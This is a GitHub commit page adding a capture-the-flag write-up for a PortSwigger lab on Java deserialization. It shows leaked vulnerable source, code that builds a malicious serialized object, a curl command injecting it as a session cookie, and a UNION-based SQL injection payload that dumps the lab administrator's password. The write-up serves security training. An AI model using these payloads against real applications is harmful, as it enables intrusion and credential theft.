Skip to content

Commit

Permalink
add java serialization
Browse files Browse the repository at this point in the history
  • Loading branch information
xanhacks committed Dec 1, 2022
1 parent f7f5c30 commit 950e4f9
Showing 1 changed file with 156 additions and 0 deletions.
156 changes: 156 additions & 0 deletions docs/web/ctf/web_academy.md
Original file line number Diff line number Diff line change
Expand Up @@ -8,6 +8,162 @@ ignore_macros: true

## Insecure deserialization

### Custom gadget chain for Java deserialization

> Lab: [Developing a custom gadget chain for Java deserialization](https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-developing-a-custom-gadget-chain-for-java-deserialization)
**1.** Source code leaks via backup file :

- /backup/AccessTokenUser.java
- /backup/ProductTemplate.java

```java
package data.session.token;
// ...

public class AccessTokenUser implements Serializable
{
private final String username;
private final String accessToken;

public AccessTokenUser(String username, String accessToken)
{
this.username = username;
this.accessToken = accessToken;
}

// ...
}
```

```java
package data.productcatalog;
// ...

public class ProductTemplate implements Serializable
{
static final long serialVersionUID = 1L;

private final String id;
private transient Product product;

public ProductTemplate(String id)
{
this.id = id;
}

private void readObject(ObjectInputStream inputStream) throws IOException, ClassNotFoundException
{
inputStream.defaultReadObject();

JdbcConnectionBuilder connectionBuilder = JdbcConnectionBuilder.from(
"org.postgresql.Driver",
"postgresql",
"localhost",
5432,
"postgres",
"postgres",
"password"
).withAutoCommit();
try
{
Connection connect = connectionBuilder.connect(30);
String sql = String.format("SELECT * FROM products WHERE id = '%s' LIMIT 1", id);
Statement statement = connect.createStatement();
ResultSet resultSet = statement.executeQuery(sql);
if (!resultSet.next())
{
return;
}
product = Product.from(resultSet);
}
catch (SQLException e)
{
throw new IOException(e);
}
}

// ...
}
```

- The `readObject` from `ProductTemplate` is vulnerable to SQL injection.
- Our session cookie is a serialized instance of `AccessTokenUser`.

**2.** Inject the session cookie with a serialized instance of `ProductTemplate` to extract the administrator's credentials.

```bash
$ mkdir -p data/productcatalog
$ mv ProductTemplate.java data/productcatalog/
$ javac data/productcatalog/ProductTemplate.java && \
java -classpath . 'data/productcatalog/ProductTemplate'
ProductTemplate serialized !
$ base64 /tmp/product.ser -w0 | sed 's/=/%3D/g'
rO0ABXNyACNkYXRhLnByb2R1Y3RjYXRhbG9nLlByb2R1Y3RUZW1wbGF0ZQAAAAAAAAABAgABTAACaWR0ABJMamF2YS9sYW5nL1N0cmluZzt4cHQABHRvdG8%3D
```

**3.** Inject a single quote inside the SQL query to test the SQL injection.

```java
// ...

public class ProductTemplate implements Serializable
{
static final long serialVersionUID = 1L;

private final String id;

public static void main(String[] args) {
ProductTemplate prod = new ProductTemplate("'");

try {
FileOutputStream fileOut = new FileOutputStream("/tmp/product.ser");
ObjectOutputStream out = new ObjectOutputStream(fileOut);
out.writeObject(prod);
out.close();
fileOut.close();
} catch (IOException i) {
i.printStackTrace();
}

System.out.println("ProductTemplate serialized !");
}
}
```

```html
$ curl -s 'https://0aa0005c04509f21c0decf2f00a600a1.web-security-academy.net/my-account' \
-b "session=$(base64 /tmp/product.ser -w0 | sed 's/=/%3D/g')" \
| grep 'Internal Server Error' -A 1
<h4>Internal Server Error</h4>
<p class=is-warning>java.io.IOException: org.postgresql.util.PSQLException:
ERROR: unterminated quoted string at or near &quot;&apos;&apos;&apos; LIMIT 1&quot;
```

The SQL injection is working !

**4.** To extract the administrator's credentials, we need to :

- Enumerate the number of columns with NULL parameter (count = 8)
- Find a reflected column
- Cast VARCHAR to INTEGER (due to the type of the query)

SQL injection :

```java
ProductTemplate prod = new ProductTemplate("1' UNION SELECT NULL,NULL,NULL,CAST (username||':'||password AS integer),NULL,NULL,NULL,NULL FROM users --");
```

Result :

```html
<h4>Internal Server Error</h4>
<p class=is-warning>java.io.IOException: org.postgresql.util.PSQLException:
ERROR: invalid input syntax for type integer: &quot;administrator:snncluoa4gd5o83oz315&quot;</p>
```

Credentials : `administrator:snncluoa4gd5o83oz315`

### Custom gadget chain for PHP deserialization

> Lab: [Developing a custom gadget chain for PHP deserialization](https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-developing-a-custom-gadget-chain-for-php-deserialization)
Expand Down

0 comments on commit 950e4f9

Please sign in to comment.